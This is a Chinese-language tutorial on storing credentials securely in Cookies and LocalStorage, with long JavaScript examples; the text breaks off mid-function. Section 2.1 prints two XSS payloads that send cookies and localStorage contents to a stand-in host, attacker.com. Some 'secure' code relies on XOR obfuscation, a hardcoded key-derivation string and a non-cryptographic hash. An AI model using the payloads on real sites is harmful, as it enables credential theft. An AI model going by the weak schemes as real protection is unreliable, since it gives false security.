手搓憑證安全存儲:安全管理Cookie與LocalStorage

引言:憑證安全存儲的重要性

在現代Web應用開發中,憑證安全存儲是保護用戶數據和隱私的基石。隨著Web攻擊技術的不斷演進,傳統的憑證存儲方式已不足以應對複雜的安全威脅。本文將深入探討如何手動實現安全的憑證存儲機制,重點分析Cookie和LocalStorage的安全管理策略,並提供完整的實現代碼和最佳實踐。

憑證安全不僅關乎技術實現,更關係到用戶信任和企業聲譽。根據OWASP(開放Web應用安全項目)的報告,超過40%的安全漏洞與憑證管理不當有關。因此,開發者必須深入理解各種存儲機制的安全性差異,並選擇最適合的方案。

第一章:Web存儲機制概述

1.1 Cookie的工作原理

Cookie是網頁伺服器發送並存儲在用戶瀏覽器中的小型數據片段。每當用戶訪問同一伺服器時,瀏覽器會自動將相關Cookie發送回伺服器。

javascript

// 基本Cookie設置
document.cookie = "username=john_doe; path=/; max-age=3600";

Cookie的主要屬性包括:

  • Name/Value: 存儲的實際數據

  • Domain: 指定哪些域可以接收此Cookie

  • Path: 指定哪些路徑可以接收此Cookie

  • Expires/Max-Age: 設置過期時間

  • Secure: 僅通過HTTPS傳輸

  • HttpOnly: 阻止JavaScript訪問,防止XSS攻擊

  • SameSite: 控制跨站請求時是否發送Cookie

1.2 LocalStorage的工作原理

LocalStorage是HTML5引入的Web Storage API的一部分,允許在瀏覽器中存儲鍵值對數據。與Cookie不同,LocalStorage數據不會自動發送到伺服器,且存儲容量更大(通常5-10MB)。

javascript

// LocalStorage基本操作
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
const token = localStorage.getItem('token');
localStorage.removeItem('token');

1.3 SessionStorage與LocalStorage的區別

SessionStorage的生命週期僅限於當前會話(標籤頁),而LocalStorage數據會持久保存直到明確刪除。

第二章:安全威脅分析

2.1 跨站腳本攻擊(XSS)

XSS攻擊允許攻擊者將惡意腳本注入到網頁中,從而竊取用戶憑證。這是Cookie和LocalStorage面臨的主要威脅之一。

javascript

// XSS攻擊示例:竊取Cookie
<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)" />

// XSS攻擊示例:竊取LocalStorage
<script>
  const stolenData = JSON.stringify(localStorage);
  new Image().src = `https://attacker.com/steal?data=${encodeURIComponent(stolenData)}`;
</script>

2.2 跨站請求偽造(CSRF)

CSRF攻擊誘使用戶在已認證的Web應用中執行非預期的操作。攻擊者利用用戶的會話狀態發起惡意請求。

2.3 中間人攻擊(MitM)

在未使用HTTPS的情況下,攻擊者可以攔截和修改客戶端與伺服器之間的通信,竊取傳輸中的憑證。

2.4 本地存儲洩露

物理訪問設備或通過惡意軟件可以讀取本地存儲的數據,特別是未加密的敏感信息。

第三章:Cookie安全實戰

3.1 安全Cookie屬性設置

javascript

// 安全Cookie設置函數
function setSecureCookie(name, value, options = {}) {
  const defaults = {
    path: '/',
    secure: true, // 僅HTTPS
    httpOnly: false, // 僅在伺服器端可設置為true
    sameSite: 'Strict',
    maxAge: 3600, // 1小時
    domain: window.location.hostname
  };
  
  const settings = { ...defaults, ...options };
  
  let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;
  
  if (settings.path) cookieString += `; path=${settings.path}`;
  if (settings.maxAge) cookieString += `; max-age=${settings.maxAge}`;
  if (settings.domain) cookieString += `; domain=${settings.domain}`;
  if (settings.secure) cookieString += '; secure';
  if (settings.sameSite) cookieString += `; samesite=${settings.sameSite}`;
  
  document.cookie = cookieString;
  
  // 記錄日誌(生產環境應移除或使用適當的日誌系統)
  console.log(`設置安全Cookie: ${name}`);
}

// 使用示例
setSecureCookie('session_id', 'encrypted_session_data_here', {
  maxAge: 86400, // 24小時
  sameSite: 'Lax'
});

3.2 HttpOnly和Secure標誌的重要性

HttpOnly Cookie無法通過JavaScript訪問,能有效防止XSS攻擊竊取Cookie。Secure標誌確保Cookie僅通過HTTPS傳輸。

javascript

// 伺服器端設置HttpOnly Cookie(Node.js示例)
const express = require('express');
const app = express();

app.get('/set-secure-cookie', (req, res) => {
  res.cookie('auth_token', 'encrypted_token_here', {
    httpOnly: true, // JavaScript無法訪問
    secure: process.env.NODE_ENV === 'production', // 生產環境強制HTTPS
    sameSite: 'Strict',
    maxAge: 24 * 60 * 60 * 1000, // 24小時
    path: '/',
    // 可選:添加簽名防止篡改
    signed: true
  });
  
  res.json({ message: '安全Cookie已設置' });
});

3.3 SameSite屬性詳解

SameSite屬性控制瀏覽器是否在跨站請求中發送Cookie:

  • Strict: 完全禁止跨站攜帶Cookie

  • Lax: 允許部分安全跨站請求(如導航)

  • None: 允許所有跨站請求(必須同時設置Secure)

javascript

// 根據應用場景選擇SameSite策略
function getSameSitePolicy(isCrossSiteNeeded) {
  if (isCrossSiteNeeded) {
    return 'None'; // 需要與Secure一起使用
  } else if (window.location.hostname === 'myapp.com') {
    return 'Strict'; // 嚴格隔離
  } else {
    return 'Lax'; // 默認平衡方案
  }
}

3.4 Cookie劫持防護

javascript

// 雙重Cookie驗證機制
class CookieProtection {
  constructor() {
    this.clientTokenName = 'client_validation_token';
    this.serverTokenName = 'server_auth_token';
  }
  
  // 生成客戶端令牌
  generateClientToken() {
    const randomBytes = new Uint8Array(32);
    crypto.getRandomValues(randomBytes);
    const token = Array.from(randomBytes, byte => byte.toString(16).padStart(2, '0')).join('');
    
    // 設置客戶端Cookie(非HttpOnly)
    document.cookie = `${this.clientTokenName}=${token}; path=/; max-age=3600; secure; samesite=Strict`;
    
    return token;
  }
  
  // 驗證雙重令牌
  validateTokens(clientTokenFromServer, serverToken) {
    // 從Cookie讀取客戶端令牌
    const cookies = document.cookie.split(';');
    let clientTokenFromCookie = null;
    
    for (const cookie of cookies) {
      const [name, value] = cookie.trim().split('=');
      if (name === this.clientTokenName) {
        clientTokenFromCookie = decodeURIComponent(value);
        break;
      }
    }
    
    // 比較客戶端令牌
    if (clientTokenFromCookie !== clientTokenFromServer) {
      console.warn('客戶端令牌不匹配,可能遭遇Cookie劫持');
      return false;
    }
    
    // 驗證伺服器令牌(實際應與伺服器通信驗證)
    if (!this.validateServerToken(serverToken)) {
      return false;
    }
    
    return true;
  }
  
  validateServerToken(token) {
    // 這裡應包含JWT驗證邏輯
    // 簡化示例:檢查基本格式
    return token && typeof token === 'string' && token.length > 10;
  }
}

第四章:LocalStorage安全實戰

4.1 LocalStorage加密方案

javascript

// 使用Web Crypto API進行加密
class SecureLocalStorage {
  constructor() {
    this.algorithm = {
      name: 'AES-GCM',
      length: 256
    };
    this.keyUsages = ['encrypt', 'decrypt'];
  }
  
  // 生成加密密鑰
  async generateKey() {
    try {
      return await crypto.subtle.generateKey(
        this.algorithm,
        true, // 是否可導出
        this.keyUsages
      );
    } catch (error) {
      console.error('生成密鑰失敗:', error);
      throw error;
    }
  }
  
  // 從密鑰材料派生密鑰
  async deriveKey(password, salt) {
    const encoder = new TextEncoder();
    const passwordBuffer = encoder.encode(password);
    
    // 首先使用PBKDF2派生基礎密鑰
    const baseKey = await crypto.subtle.importKey(
      'raw',
      passwordBuffer,
      'PBKDF2',
      false,
      ['deriveKey']
    );
    
    const derivedKey = await crypto.subtle.deriveKey(
      {
        name: 'PBKDF2',
        salt: salt,
        iterations: 100000,
        hash: 'SHA-256'
      },
      baseKey,
      this.algorithm,
      true,
      this.keyUsages
    );
    
    return derivedKey;
  }
  
  // 加密數據
  async encryptData(key, data) {
    try {
      const encoder = new TextEncoder();
      const dataBuffer = encoder.encode(JSON.stringify(data));
      
      // 生成隨機IV
      const iv = crypto.getRandomValues(new Uint8Array(12));
      
      const encryptedBuffer = await crypto.subtle.encrypt(
        {
          name: 'AES-GCM',
          iv: iv
        },
        key,
        dataBuffer
      );
      
      // 組合IV和加密數據
      const result = new Uint8Array(iv.length + encryptedBuffer.byteLength);
      result.set(iv, 0);
      result.set(new Uint8Array(encryptedBuffer), iv.length);
      
      return this.arrayBufferToBase64(result);
    } catch (error) {
      console.error('加密失敗:', error);
      throw error;
    }
  }
  
  // 解密數據
  async decryptData(key, encryptedData) {
    try {
      const encryptedBuffer = this.base64ToArrayBuffer(encryptedData);
      
      // 提取IV(前12字節)
      const iv = encryptedBuffer.slice(0, 12);
      const data = encryptedBuffer.slice(12);
      
      const decryptedBuffer = await crypto.subtle.decrypt(
        {
          name: 'AES-GCM',
          iv: iv
        },
        key,
        data
      );
      
      const decoder = new TextDecoder();
      return JSON.parse(decoder.decode(decryptedBuffer));
    } catch (error) {
      console.error('解密失敗:', error);
      throw error;
    }
  }
  
  // 存儲加密數據
  async storeEncrypted(keyName, data, password) {
    try {
      // 生成鹽
      const salt = crypto.getRandomValues(new Uint8Array(16));
      
      // 派生密鑰
      const key = await this.deriveKey(password, salt);
      
      // 加密數據
      const encryptedData = await this.encryptData(key, data);
      
      // 存儲鹽和加密數據
      const storageData = {
        salt: this.arrayBufferToBase64(salt),
        data: encryptedData,
        timestamp: Date.now()
      };
      
      localStorage.setItem(keyName, JSON.stringify(storageData));
      
      return true;
    } catch (error) {
      console.error('存儲加密數據失敗:', error);
      return false;
    }
  }
  
  // 讀取並解密數據
  async retrieveDecrypted(keyName, password) {
    try {
      const stored = localStorage.getItem(keyName);
      if (!stored) return null;
      
      const { salt, data, timestamp } = JSON.parse(stored);
      
      // 檢查數據是否過期(例如24小時)
      const EXPIRY_TIME = 24 * 60 * 60 * 1000;
      if (Date.now() - timestamp > EXPIRY_TIME) {
        localStorage.removeItem(keyName);
        return null;
      }
      
      const saltBuffer = this.base64ToArrayBuffer(salt);
      const key = await this.deriveKey(password, saltBuffer);
      
      return await this.decryptData(key, data);
    } catch (error) {
      console.error('讀取解密數據失敗:', error);
      // 解密失敗可能由於密碼錯誤,移除可能損壞的數據
      localStorage.removeItem(keyName);
      return null;
    }
  }
  
  // 工具函數:ArrayBuffer轉Base64
  arrayBufferToBase64(buffer) {
    const bytes = new Uint8Array(buffer);
    let binary = '';
    for (let i = 0; i < bytes.byteLength; i++) {
      binary += String.fromCharCode(bytes[i]);
    }
    return btoa(binary);
  }
  
  // 工具函數:Base64轉ArrayBuffer
  base64ToArrayBuffer(base64) {
    const binary = atob(base64);
    const bytes = new Uint8Array(binary.length);
    for (let i = 0; i < binary.length; i++) {
      bytes[i] = binary.charCodeAt(i);
    }
    return bytes.buffer;
  }
}

// 使用示例
const secureStorage = new SecureLocalStorage();

// 存儲敏感數據
async function storeUserCredentials(userId, token) {
  const userData = {
    userId: userId,
    token: token,
    lastAccess: new Date().toISOString()
  };
  
  // 使用用戶特定的密碼(可結合伺服器提供的臨時密碼)
  const password = `${userId}_${window.location.hostname}_secret_salt`;
  
  await secureStorage.storeEncrypted('user_credentials', userData, password);
}

// 讀取數據
async function getUserCredentials(userId) {
  const password = `${userId}_${window.location.hostname}_secret_salt`;
  return await secureStorage.retrieveDecrypted('user_credentials', password);
}

4.2 防範XSS攻擊的LocalStorage包裝器

javascript

// 安全LocalStorage包裝器
class ProtectedLocalStorage {
  constructor() {
    this.prefix = 'secured_';
    this.integrityKey = 'data_integrity_hash';
    this.xssDetectionEnabled = true;
    this.initializeProtection();
  }
  
  // 初始化保護機制
  initializeProtection() {
    // 監聽可能的XSS攻擊
    if (this.xssDetectionEnabled) {
      this.setupXSSTrap();
    }
    
    // 設置定時清理
    this.setupCleanupInterval();
  }
  
  // 設置XSS陷阱
  setupXSSTrap() {
    // 創建不可見的防禦元素
    const trapElement = document.createElement('div');
    trapElement.id = 'xss_trap_' + Math.random().toString(36).substr(2, 9);
    trapElement.style.display = 'none';
    trapElement.setAttribute('data-protected', 'true');
    
    // 設置屬性getter陷阱
    Object.defineProperty(trapElement, 'innerHTML', {
      set: function(value) {
        console.warn('潛在的XSS攻擊嘗試:', value);
        // 可以發送警報到伺服器
        this.reportPotentialXSS(value);
        return '';
      }.bind(this)
    });
    
    document.body.appendChild(trapElement);
    
    // 重寫dangerouslySetInnerHTML等方法
    this.overrideDangerousMethods();
  }
  
  // 報告潛在XSS攻擊
  reportPotentialXSS(suspiciousData) {
    const report = {
      type: 'xss_attempt',
      data: suspiciousData.substring(0, 100), // 限制數據長度
      url: window.location.href,
      timestamp: new Date().toISOString(),
      userAgent: navigator.userAgent
    };
    
    // 存儲報告(限制數量)
    const reports = this.getXSSReports();
    reports.push(report);
    
    // 只保留最近的50個報告
    if (reports.length > 50) {
      reports.shift();
    }
    
    localStorage.setItem('xss_security_reports', JSON.stringify(reports));
    
    // 可選:發送到伺服器
    if (navigator.sendBeacon) {
      navigator.sendBeacon('/api/security/xss-report', JSON.stringify(report));
    }
  }
  
  getXSSReports() {
    const reports = localStorage.getItem('xss_security_reports');
    return reports ? JSON.parse(reports) : [];
  }
  
  // 重寫危險方法
  overrideDangerousMethods() {
    const originalSetAttribute = Element.prototype.setAttribute;
    
    Element.prototype.setAttribute = function(name, value) {
      // 檢查危險屬性
      const dangerousAttributes = ['onload', 'onerror', 'onclick', 'onmouseover', 'src', 'href'];
      
      if (dangerousAttributes.includes(name.toLowerCase())) {
        // 驗證值是否包含腳本
        if (typeof value === 'string' && 
            (value.includes('javascript:') || 
             value.includes('<script>') ||
             value.includes('eval('))) {
          console.warn('阻止潛在的危險屬性設置:', name, value);
          return; // 阻止設置
        }
      }
      
      return originalSetAttribute.call(this, name, value);
    };
  }
  
  // 安全存儲數據
  setItem(key, value, options = {}) {
    const fullKey = this.prefix + key;
    const data = {
      value: value,
      timestamp: Date.now(),
      integrity: this.calculateIntegrity(value),
      metadata: {
        origin: window.location.origin,
        path: window.location.pathname,
        ...options.metadata
      }
    };
    
    // 加密敏感數據
    if (options.encrypt) {
      data.value = this.encryptValue(value, options.encryptionKey);
      data.encrypted = true;
    }
    
    const serializedData = JSON.stringify(data);
    
    // 驗證數據大小
    if (serializedData.length > 500000) { // 約500KB
      console.error('存儲數據過大:', key);
      throw new Error('Data too large for secure storage');
    }
    
    localStorage.setItem(fullKey, serializedData);
    
    // 更新完整性哈希
    this.updateMasterIntegrity(fullKey, data.integrity);
    
    return true;
  }
  
  // 安全讀取數據
  getItem(key, options = {}) {
    const fullKey = this.prefix + key;
    const stored = localStorage.getItem(fullKey);
    
    if (!stored) return null;
    
    let data;
    try {
      data = JSON.parse(stored);
    } catch (e) {
      console.error('解析存儲數據失敗:', e);
      this.removeItem(key); // 移除損壞的數據
      return null;
    }
    
    // 檢查完整性
    if (!this.verifyIntegrity(data.value, data.integrity)) {
      console.warn('數據完整性檢查失敗:', key);
      
      if (options.removeIfTampered) {
        this.removeItem(key);
      }
      
      return null;
    }
    
    // 檢查過期時間
    if (data.timestamp && options.maxAge) {
      const age = Date.now() - data.timestamp;
      if (age > options.maxAge) {
        this.removeItem(key);
        return null;
      }
    }
    
    // 解密數據
    if (data.encrypted && options.encryptionKey) {
      try {
        data.value = this.decryptValue(data.value, options.encryptionKey);
      } catch (e) {
        console.error('解密失敗:', e);
        return null;
      }
    }
    
    return data.value;
  }
  
  // 移除數據
  removeItem(key) {
    const fullKey = this.prefix + key;
    localStorage.removeItem(fullKey);
    
    // 清理完整性記錄
    this.removeFromMasterIntegrity(fullKey);
    
    return true;
  }
  
  // 計算數據完整性哈希
  calculateIntegrity(value) {
    const stringValue = typeof value === 'string' ? value : JSON.stringify(value);
    let hash = 0;
    
    for (let i = 0; i < stringValue.length; i++) {
      const char = stringValue.charCodeAt(i);
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash; // 轉換為32位整數
    }
    
    return hash.toString(16);
  }
  
  // 驗證完整性
  verifyIntegrity(value, expectedHash) {
    const calculatedHash = this.calculateIntegrity(value);
    return calculatedHash === expectedHash;
  }
  
  // 更新主完整性記錄
  updateMasterIntegrity(key, integrity) {
    const master = this.getMasterIntegrity();
    master[key] = {
      hash: integrity,
      timestamp: Date.now()
    };
    
    localStorage.setItem(this.integrityKey, JSON.stringify(master));
  }
  
  // 從主完整性記錄移除
  removeFromMasterIntegrity(key) {
    const master = this.getMasterIntegrity();
    delete master[key];
    localStorage.setItem(this.integrityKey, JSON.stringify(master));
  }
  
  // 獲取主完整性記錄
  getMasterIntegrity() {
    const stored = localStorage.getItem(this.integrityKey);
    return stored ? JSON.parse(stored) : {};
  }
  
  // 簡單加密(生產環境應使用更強加密)
  encryptValue(value, key) {
    // 簡化示例 - 生產環境應使用Web Crypto API
    let result = '';
    const stringValue = JSON.stringify(value);
    
    for (let i = 0; i < stringValue.length; i++) {
      const charCode = stringValue.charCodeAt(i) ^ key.charCodeAt(i % key.length);
      result += String.fromCharCode(charCode);
    }
    
    return btoa(result);
  }
  
  // 解密
  decryptValue(encryptedValue, key) {
    try {
      const decoded = atob(encryptedValue);
      let result = '';
      
      for (let i = 0; i < decoded.length; i++) {
        const charCode = decoded.charCodeAt(i) ^ key.charCodeAt(i % key.length);
        result += String.fromCharCode(charCode);
      }
      
      return JSON.parse(result);
    } catch (e) {
      throw new Error('解密失敗');
    }
  }
  
  // 設置定時清理
  setupCleanupInterval() {
    // 每小時檢查一次過期數據
    setInterval(() => {
      this.cleanupExpiredData();
    }, 60 * 60 * 1000);
  }
  
  // 清理過期數據
  cleanupExpiredData() {
    const keys = Object.keys(localStorage);
    const now = Date.now();
    
    keys.forEach(key => {
      if (key.startsWith(this.prefix)) {
        try {
          const data = JSON.parse(localStorage.getItem(key));
          
          // 默認7天過期
          const MAX_AGE = 7 * 24 * 60 * 60 * 1000;
          
          if (now - data.timestamp > MAX_AGE) {
            localStorage.removeItem(key);
            console.log('清理過期數據:', key);
          }
        } catch (e) {
          // 解析失敗,移除可能損壞的數據
          localStorage.removeItem(key);
        }
      }
    });
  }
  
  // 清空所有保護的數據
  clear() {
    const keys = Object.keys(localStorage);
    
    keys.forEach(key => {
      if (key.startsWith(this.prefix) || key === this.integrityKey) {
        localStorage.removeItem(key);
      }
    });
    
    return true;
  }
}

// 使用示例
const protectedStorage = new ProtectedLocalStorage();

// 安全存儲
protectedStorage.setItem('auth_token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', {
  encrypt: true,
  encryptionKey: 'user_specific_secret_key',
  metadata: {
    userId: '12345',
    type: 'jwt'
  }
});

// 安全讀取
const token = protectedStorage.getItem('auth_token', {
  encrypt: true,
  encryptionKey: 'user_specific_secret_key',
  maxAge: 24 * 60 * 60 * 1000, // 24小時有效
  removeIfTampered: true
});

4.3 LocalStorage數據分區策略

javascript

// 基於上下文的數據分區
class PartitionedLocalStorage {
  constructor() {
    this.partitions = {
      PUBLIC: 'public_',
      PRIVATE: 'private_',
      SESSION: 'session_',
      PERSISTENT: 'persistent_'
    };
    
    this.contexts = {
      USER: 'user',
      APP: 'app',
      SYSTEM: 'system'
    };
    
    this.initializePartitions();
  }
  
  // 初始化分區
  initializePartitions() {
    // 為每個分區和上下文創建命名空間
    for (const partition in this.partitions) {
      for (const context in this.contexts) {
        const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
        
        // 初始化分區元數據
        const metaKey = `${namespace}meta`;
        if (!localStorage.getItem(metaKey)) {
          const metadata = {
            created: Date.now(),
            lastAccessed: Date.now(),
            itemCount: 0,
            totalSize: 0,
            permissions: this.getDefaultPermissions(partition, context)
          };
          
          localStorage.setItem(metaKey, JSON.stringify(metadata));
        }
      }
    }
  }
  
  // 獲取默認權限
  getDefaultPermissions(partition, context) {
    const permissions = {
      readable: true,
      writable: true,
      deletable: true,
      encryptRequired: false,
      maxSize: 1024 * 1024, // 1MB
      maxAge: null
    };
    
    // 根據分區和上下文調整權限
    switch (partition) {
      case 'PRIVATE':
        permissions.encryptRequired = true;
        permissions.maxSize = 100 * 1024; // 100KB
        break;
      case 'SESSION':
        permissions.maxAge = 24 * 60 * 60 * 1000; // 24小時
        break;
    }
    
    switch (context) {
      case 'SYSTEM':
        permissions.readable = false; // 系統數據不可直接讀取
        break;
    }
    
    return permissions;
  }
  
  // 存儲數據到特定分區
  store(partition, context, key, value, options = {}) {
    const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
    const fullKey = `${namespace}${key}`;
    
    // 獲取分區元數據
    const metaKey = `${namespace}meta`;
    const metadata = JSON.parse(localStorage.getItem(metaKey));
    
    // 檢查權限
    if (!metadata.permissions.writable) {
      throw new Error(`分區 ${partition}/${context} 不可寫入`);
    }
    
    // 檢查加密要求
    if (metadata.permissions.encryptRequired && !options.encrypted) {
      throw new Error(`分區 ${partition}/${context} 要求數據加密`);
    }
    
    // 準備存儲數據
    const storageItem = {
      value: value,
      metadata: {
        stored: Date.now(),
        partition: partition,
        context: context,
        key: key,
        size: JSON.stringify(value).length,
        ...options.metadata
      }
    };
    
    // 檢查大小限制
    const newSize = metadata.totalSize + storageItem.metadata.size;
    if (newSize > metadata.permissions.maxSize) {
      throw new Error(`分區 ${partition}/${context} 大小超出限制`);
    }
    
    // 更新元數據
    metadata.lastAccessed = Date.now();
    metadata.totalSize = newSize;
    
    // 檢查是否為更新操作
    const existing = localStorage.getItem(fullKey);
    if (existing) {
      const existingSize = JSON.parse(existing).metadata.size;
      metadata.totalSize -= existingSize;
    } else {
      metadata.itemCount++;
    }
    
    // 存儲數據
    localStorage.setItem(fullKey, JSON.stringify(storageItem));
    localStorage.setItem(metaKey, JSON.stringify(metadata));
    
    return {
      success: true,
      key: fullKey,
      size: storageItem.metadata.size
    };
  }
  
  // 從特定分區讀取數據
  retrieve(partition, context, key, options = {}) {
    const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
    const fullKey = `${namespace}${key}`;
    
    // 獲取分區元數據
    const metaKey = `${namespace}meta`;
    const metadata = JSON.parse(localStorage.getItem(metaKey));
    
    // 檢查權限
    if (!metadata.permissions.readable) {
      throw new Error(`分區 ${partition}/${context} 不可讀取`);
    }
    
    const stored = localStorage.getItem(fullKey);
    if (!stored) return null;
    
    const data = JSON.parse(stored);
    
    // 檢查過期時間
    if (metadata.permissions.maxAge) {
      const age = Date.now() - data.metadata.stored;
      if (age > metadata.permissions.maxAge) {
        this.remove(partition, context, key);
        return null;
      }
    }
    
    // 更新訪問時間
    metadata.lastAccessed = Date.now();
    localStorage.setItem(metaKey, JSON.stringify(metadata));
    
    return data.value;
  }
  
  // 從分區移除數據
  remove(partition, context, key) {
    const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
    const fullKey = `${namespace}${key}`;
    
    // 獲取分區元數據
    const metaKey = `${namespace}meta`;
    const metadata = JSON.parse(localStorage.getItem(metaKey));
    
    // 檢查權限
    if (!metadata.permissions.deletable) {
      throw new Error(`分區 ${partition}/${context} 不可刪除`);
    }
    
    const stored = localStorage.getItem(fullKey);
    if (stored) {
      const data = JSON.parse(stored);
      
      // 更新元數據
      metadata.totalSize -= data.metadata.size;
      metadata.itemCount--;
      metadata.lastAccessed = Date.now();
      
      localStorage.setItem(metaKey, JSON.stringify(metadata));
    }
    
    localStorage.removeItem(fullKey);
    
    return true;
  }
  
  // 獲取分區統計信息
  getPartitionStats(partition, context) {
    const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
    const metaKey = `${namespace}meta`;
    
    const metadata = JSON.parse(localStorage.getItem(metaKey));
    
    return {
      partition: partition,
      context: context,
      itemCount: metadata.itemCount,
      totalSize: metadata.totalSize,
      created: new Date(metadata.created),
      lastAccessed: new Date(metadata.lastAccessed),
      permissions: metadata.permissions
    };
  }
  
  // 清理過期數據
  cleanup() {
    let cleanedCount = 0;
    
    for (const partition in this.partitions) {
      for (const context in this.contexts) {
        const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
        const metaKey = `${namespace}meta`;
        
        const metadata = JSON.parse(localStorage.getItem(metaKey));
        
        if (metadata.permissions.maxAge) {
          const keys = this.getPartitionKeys(partition, context);
          
          keys.forEach(fullKey => {
            const stored = localStorage.getItem(fullKey);
            if (stored) {
              const data = JSON.parse(stored);
              const age = Date.now() - data.metadata.stored;
              
              if (age > metadata.permissions.maxAge) {
                localStorage.removeItem(fullKey);
                cleanedCount++;
                
                // 更新元數據
                metadata.totalSize -= data.metadata.size;
                metadata.itemCount--;
              }
            }
          });
          
          localStorage.setItem(metaKey, JSON.stringify(metadata));
        }
      }
    }
    
    return cleanedCount;
  }
  
  // 獲取分區所有鍵
  getPartitionKeys(partition, context) {
    const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
    const keys = [];
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      if (key.startsWith(namespace) && !key.endsWith('meta')) {
        keys.push(key);
      }
    }
    
    return keys;
  }
}

// 使用示例
const partitionedStorage = new PartitionedLocalStorage();

// 存儲公開應用數據
partitionedStorage.store('PUBLIC', 'APP', 'config', {
  theme: 'dark',
  language: 'zh-TW',
  version: '1.0.0'
});

// 存儲私有用戶數據(需要加密)
partitionedStorage.store('PRIVATE', 'USER', 'preferences', {
  email: 'user@example.com',
  settings: { /* ... */ }
}, {
  encrypted: true,
  metadata: {
    sensitive: true
  }
});

// 讀取會話數據
const sessionData = partitionedStorage.retrieve('SESSION', 'USER', 'temp_data');

// 獲取統計信息
const stats = partitionedStorage.getPartitionStats('PRIVATE', 'USER');
console.log('私有用戶分區統計:', stats);

第五章:混合存儲策略

5.1 雙重存儲驗證機制

javascript

// 結合Cookie和LocalStorage的雙重驗證
class HybridCredentialStorage {
  constructor(options = {}) {
    this.options = {
      cookieName: 'secure_auth',
      localStorageKey: 'auth_backup',
      cookieLifespan: 24 * 60 * 60, // 24小時
      localStorageLifespan: 7 * 24 * 60 * 60 * 1000, // 7天
      requireConsistency: true,
      ...options
    };
    
    this.validator = new CredentialValidator();
  }
  
  // 存儲憑證
  async storeCredentials(credentials) {
    const { token, userData, metadata } = credentials;
    
    // 生成驗證哈希
    const validationHash = await this.validator.generateValidationHash(token, userData);
    
    // 準備存儲數據
    const cookieData = {
      t: token, // 令牌
      v: validationHash, // 驗證哈希
      ts: Date.now(), // 時間戳
      // 不存儲敏感數據在Cookie中
    };
    
    const localStorageData = {
      token: token,
      userData: userData,
      validationHash: validationHash,
      metadata: metadata,
      storedAt: new Date().toISOString(),
      cookieSignature: await this.validator.signData(cookieData)
    };
    
    // 存儲到Cookie
    this.setSecureCookie(this.options.cookieName, cookieData);
    
    // 存儲到LocalStorage
    this.setSecureLocalStorage(this.options.localStorageKey, localStorageData);
    
    return {
      cookieStored: true,
      localStorageStored: true,
      validationHash: validationHash
    };
  }
  
  // 讀取並驗證憑證
  async retrieveCredentials() {
    // 從Cookie讀取
    const cookieData = this.getSecureCookie(this.options.cookieName);
    
    // 從LocalStorage讀取
    const localStorageData = this.getSecureLocalStorage(this.options.localStorageKey);
    
    // 檢查兩者是否存在
    if (!cookieData && !localStorageData) {
      return { valid: false, reason: 'no_credentials' };
    }
    
    // 如果只有一種存儲方式存在
    if (!cookieData || !localStorageData) {
      if (this.options.requireConsistency) {
        this.clearCredentials();
        return { valid: false, reason: 'inconsistent_storage' };
      }
    }
    
    // 驗證數據
    const validationResult = await this.validateCredentials(cookieData, localStorageData);
    
    if (!validationResult.valid) {
      this.clearCredentials();
      return validationResult;
    }
    
    // 刷新存儲(如果接近過期)
    if (this.shouldRefresh(cookieData)) {
      await this.refreshCredentials(localStorageData);
    }
    
    return {
      valid: true,
      token: localStorageData.token,
      userData: localStorageData.userData,
      metadata: localStorageData.metadata,
      source: cookieData ? 'both' : (localStorageData ? 'localStorage_only' : 'cookie_only')
    };
  }
  
  // 驗證憑證
  async validateCredentials(cookieData, localStorageData) {
    // 基本存在性檢查
    if (!cookieData && !localStorageData) {
      return { valid: false, reason: 'no_data' };
    }
    
    // 如果兩者都存在,驗證一致性
    if (cookieData && localStorageData) {
      // 驗證令牌一致性
      if (cookieData.t !== localStorageData.token) {
        return { valid: false, reason: 'token_mismatch' };
      }
      
      // 驗證哈希一致性
      if (cookieData.v !== localStorageData.validationHash) {
        return { valid: false, reason: 'validation_hash_mismatch' };
      }
      
      // 驗證Cookie簽名
      const validSignature = await this.validator.verifySignature(
        cookieData,
        localStorageData.cookieSignature
      );
      
      if (!validSignature) {
        return { valid: false, reason: 'invalid_signature' };
      }
      
      // 驗證時間戳(防止重放攻擊)
      const timeDiff = Math.abs(Date.now() - cookieData.ts);
      const MAX_TIME_DIFF = 5 * 60 * 1000; // 5分鐘
      
      if (timeDiff > MAX_TIME_DIFF) {
        return { valid: false, reason: 'timestamp_out_of_sync' };
      }
    }
    
    // 驗證令牌有效性
    const tokenValid = await this.validator.validateToken(
      localStorageData ? localStorageData.token : cookieData.t
    );
    
    if (!tokenValid) {
      return { valid: false, reason: 'invalid_token' };
    }
    
    return { valid: true };
  }
  
  // 設置安全Cookie
  setSecureCookie(name, data) {
    const encodedData = btoa(JSON.stringify(data));
    const cookieString = [
      `${name}=${encodeURIComponent(encodedData)}`,
      `path=/`,
      `max-age=${this.options.cookieLifespan}`,
      `secure`,
      `samesite=strict`,
      // 注意:HttpOnly不能在客戶端設置,需要伺服器設置
    ].join('; ');
    
    document.cookie = cookieString;
  }
  
  // 獲取安全Cookie
  getSecureCookie(name) {
    const cookies = document.cookie.split(';');
    
    for (const cookie of cookies) {
      const [cookieName, cookieValue] = cookie.trim().split('=');
      
      if (cookieName === name && cookieValue) {
        try {
          const decodedValue = decodeURIComponent(cookieValue);
          return JSON.parse(atob(decodedValue));
        } catch (e) {
          console.error('解析Cookie失敗:', e);
          return null;
        }
      }
    }
    
    return null;
  }
  
  // 設置安全LocalStorage
  setSecureLocalStorage(key, data) {
    const storageData = {
      data: data,
      storedAt: Date.now(),
      expiresAt: Date.now() + this.options.localStorageLifespan
    };
    
    localStorage.setItem(key, JSON.stringify(storageData));
  }
  
  // 獲取安全LocalStorage
  getSecureLocalStorage(key) {
    const stored = localStorage.getItem(key);
    
    if (!stored) return null;
    
    try {
      const storageData = JSON.parse(stored);
      
      // 檢查是否過期
